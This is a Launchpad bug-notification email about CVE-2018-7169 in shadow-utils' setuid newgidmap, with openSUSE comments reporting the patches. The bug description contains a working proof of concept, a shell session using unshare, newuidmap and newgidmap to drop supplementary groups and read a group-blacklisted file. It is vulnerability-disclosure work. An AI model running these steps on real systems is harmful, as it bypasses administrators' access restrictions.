[Bug 1729357] Re: unprivileged user can drop supplementary groups
Bug Watch Updater
1729357 at bugs.launchpad.net
Mon Feb 19 07:23:11 UTC 2018
Launchpad has imported 5 comments from the remote bug at
https://bugzilla.opensuse.org/show_bug.cgi?id=1081294.
If you reply to an imported comment from within Launchpad, your comment
will be sent to the remote bug automatically. Read more about
Launchpad's inter-bugtracker facilities at
https://help.launchpad.net/InterBugTracking.
------------------------------------------------------------------------
On 2018-02-16T08:33:35+00:00 Kbabioch-b wrote:
CVE-2018-7169
An issue was discovered in shadow 4.5. newgidmap (in shadow-utils) is setuid and
allows an unprivileged user to be placed in a user namespace where setgroups(2)
is permitted. This allows an attacker to remove themselves from a supplementary
group, which may allow access to certain filesystem paths if the administrator
has used "group blacklisting" (e.g., chmod g-rwx) to restrict access to paths.
This flaw effectively reverts a security feature in the kernel (in particular,
the /proc/self/setgroups knob) to prevent this sort of privilege escalation.
References:
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-7169
http://www.cvedetails.com/cve/CVE-2018-7169/
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357
Reply at:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357/comments/26
------------------------------------------------------------------------
On 2018-02-16T08:38:46+00:00 Kbabioch-b wrote:
SUSE:SLE-12:Update is not affected, since newgidmap was only introduced
with 4.2.1. We still ship 4.1.5.1.
Reply at:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357/comments/27
------------------------------------------------------------------------
On 2018-02-16T08:49:09+00:00 Kbabioch-b wrote:
Fixed for Factory: sr#577189
Reply at:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357/comments/28
------------------------------------------------------------------------
On 2018-02-16T10:34:16+00:00 Mvetter wrote:
Thanks for adding the patch.
SR accepted. Forwarded to Factory as SR#577204.
Reply at:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357/comments/29
------------------------------------------------------------------------
On 2018-02-16T15:03:45+00:00 Kbabioch-b wrote:
Didn't realize that we backported this feature to our SLE12 codestream.
Applied the patch there, too: sr#155145
Reply at:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357/comments/30
** Changed in: shadow (openSUSE)
Status: Unknown => Confirmed
** Changed in: shadow (openSUSE)
Importance: Unknown => Medium
--
You received this bug notification because you are a member of Ubuntu
Foundations Bugs, which is subscribed to shadow in Ubuntu.
https://bugs.launchpad.net/bugs/1729357
Title:
unprivileged user can drop supplementary groups
Status in shadow package in Ubuntu:
Confirmed
Status in shadow package in openSUSE:
Confirmed
Bug description:
Distribution: Ubuntu 16.04.3 LTS
Kernel: 4.4.0-97-generic
uidmap package version: 1:4.2-3.1ubuntu5.3
The newgidmap setuid executable allows any user to write a single
mapping line to the gid_map of a process whose identity is the same as
the calling process, as long as that mapping line maps the process's
own GID outside of the user namespace to GID 0 inside the user
namespace.
Newgidmap will write the mapping regardless of the content of
/proc/$process_being_mapped/setgroups, which will initially contain
the string "allow". After this mapping is performed, and also after
the process' uid_map is written with newuidmap, the process in the
user namespace will be able to use the setgroups system call to drop
supplementary groups.
This is possible even if there is no entry for the user in
/etc/subgid, because no subordinate GIDs are actually being used.
This allows any user to circumvent the use of supplementary groups as
blacklists, e.g. for some file owned by root:blacklist with permission
bits 0604 (octal). Normally any process whose identity included the
group "blacklist" in its supplementary groups would not be able to
read that file. By performing this exploit using newgidmap, they can
drop all supplementary groups and read that file.
If newgidmap was not available, unprivileged users would not be able
to write a process's gid_map until writing "deny" to
/proc/$pid/setgroups. A fix for this might be for newgidmap to check
the content of /proc/$process_being_mapped/setgroups is "deny", but we
have not tried to patch this ourselves.
An example using 2 login shells for a user named "someone" on Ubuntu
Xenial, with the uidmap package installed:
Shell 1
someone at ubuntu-xenial:~$ id
uid=1001(someone) gid=1001(someone) groups=1001(someone),1002(restricted)
someone at ubuntu-xenial:~$ ls -al /tmp/should_restrict
-rw----r-- 1 root restricted 8 Nov 1 12:23 /tmp/should_restrict
someone at ubuntu-xenial:~$ cat /tmp/should_restrict
cat: /tmp/should_restrict: Permission denied
someone at ubuntu-xenial:~$ unshare -U --setgroups allow #
/proc/self/setgroups already contains 'allow', but let's be explicit
nobody at ubuntu-xenial:~$ echo $$
1878
Shell 2
someone at ubuntu-xenial:~$ cat /etc/subuid
lxd:100000:65536
root:100000:65536
ubuntu:165536:65536
someone at ubuntu-xenial:~$ cat /etc/subgid
lxd:100000:65536
root:100000:65536
ubuntu:165536:65536
# There are no entries in /etc/sub{u,g}id for someone, but this
doesn't matter that much as subordinate IDs are not being requested.
someone at ubuntu-xenial:~$ newuidmap 1878 0 1001 1
someone at ubuntu-xenial:~$ newgidmap 1878 0 1001 1
Back to shell 1
nobody at ubuntu-xenial:~$ id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
# The presence of the "nogroup" supplementary group indicates that
some unmapped GIDs are present as supplementary GIDs. The kernel knows
that this process still has "restricted" in its supplementary groups,
so it can't read the restricted file yet.
nobody at ubuntu-xenial:~$ cat /tmp/should_restrict
cat: /tmp/should_restrict: Permission denied
# The process has gained CAP_SETGID in its user namespace by becoming
UID 0. /proc/$pid/setgroups contains "allow", so it can call
setgroups(2). By su-ing to root (itself, in the user namespace), it
can drop the supplementary groups. It can't read /root/.bashrc as that
file is owned by UID 0 in the initial user namespace, which creates
some distracting error output but doesn't matter in this case.
nobody at ubuntu-xenial:~$ su root
su: Authentication failure
(Ignored)
bash: /root/.bashrc: Permission denied
# Supplementary groups have been dropped
root at ubuntu-xenial:~# id
uid=0(root) gid=0(root) groups=0(root)
# It can read the restricted file
root at ubuntu-xenial:~# cat /tmp/should_restrict
content
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/shadow/+bug/1729357/+subscriptions
More information about the foundations-bugs
mailing list